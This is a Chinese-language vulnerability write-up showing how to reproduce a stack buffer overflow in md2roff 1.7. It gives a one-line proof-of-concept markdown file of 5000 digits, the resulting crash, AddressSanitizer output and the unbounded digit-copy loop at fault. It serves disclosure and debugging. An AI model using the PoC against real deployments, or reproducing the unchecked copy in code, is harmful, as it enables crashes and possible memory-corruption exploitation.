md2roff 1.7 存在基于栈的缓冲区溢出漏洞，可通过包含大量连续待处理字符的 Markdown 文件触发。
要复现该漏洞，我们需要下载存在漏洞的 md2roff 版本（1.7 版）：
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 7fc373d25c91422454f081c8a717222d77fd7add
make
项目编译完成后，我们可以先创建一个包含大量 ASCII 字符缓冲区的恶意 markdown 文件：
python3 -c 'print("1"*5000)' > poc.md
现在我们可以让 md2roff 处理我们的恶意 markdown 文件并触发崩溃：
./md2roff poc.md
执行上述命令将产生一个段错误：
segmentation fault ./md2roff poc.md
为了更好地理解溢出发生的位置，让我们通过向 Makefile 中的 CFLAGS 变量添加 -fsanitize=address 来使用地址消毒器（ASAN）重新编译项目。我们还希望编译器在可执行文件中存储符号表信息（-g 标志），以帮助我们确定是哪行代码导致了崩溃：
CFLAGS = -std=c99 -fsanitize=address -g
接下来，我们将清理所有过期文件并重新编译项目：
make clean
make
ASAN 的输出显示，存在漏洞的源代码位于 md2roff.c，第 1095 行：
==180298==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdddcce7e0 at pc 0x556b5ebc39da bp 0x7ffdddcce5e0 sp 0x7ffdddcce5d8
WRITE of size 1 at 0x7ffdddcce7e0 thread T0
#0 0x556b5ebc39d9 in md2roff /dev/shm/md2roff/md2roff.c:1095
#1 0x556b5ebc620f in main /dev/shm/md2roff/md2roff.c:1394
#2 0x7f3576046189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x7f3576046244 in __libc_start_main_impl ../csu/libc-start.c:381
#4 0x556b5ebba3b0 in _start (/dev/shm/md2roff/md2roff+0x73b0)
Address 0x7ffdddcce7e0 is located in stack of thread T0 at offset 80 in frame
#0 0x556b5ebbdb65 in md2roff /dev/shm/md2roff/md2roff.c:618
This frame has 6 object(s):
[32, 40) 'tt' (line 687)
[64, 80) 'num' (line 1090) <== Memory access at offset 80 overflows this variable
[96, 160) 'appname' (line 625)
[192, 256) 'appsec' (line 625)
[288, 352) 'appdate' (line 625)
[384, 640) 'secname' (line 625)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /dev/shm/md2roff/md2roff.c:1095 in md2roff
Shadow bytes around the buggy address:
0x10003bb91ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10003bb91cf0: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 00 00[f2]f2 00 00
0x10003bb91d00: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
0x10003bb91d10: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
0x10003bb91d20: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003bb91d40: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==180298==ABORTING
1093: n = num;
1094: while ( isdigit(*p) )
1095: *n ++ = *p ++;